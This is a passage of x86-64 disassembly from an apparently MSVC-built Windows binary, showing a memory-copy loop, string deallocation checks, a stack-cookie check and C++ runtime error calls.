movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x14008a2e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [r13 + rax*8 + 0x142d410], rsi
mov qword [r13 + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [0x140072920]
call r8
nop
xor rbx, r15
mov qword [r12], rbx
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14008a3e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008a3df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008a3df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400906f0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14008a433
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008a42d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008a42d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400906f0
nop
mov rax, qword [rsp + 0x70]
xor rax, r15
lea rcx, [rbp + 0xa8]
mov qword [rcx], rax
xor eax, eax
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.140090680
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x78], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.1400401b0
int3
call fcn.140040250
int3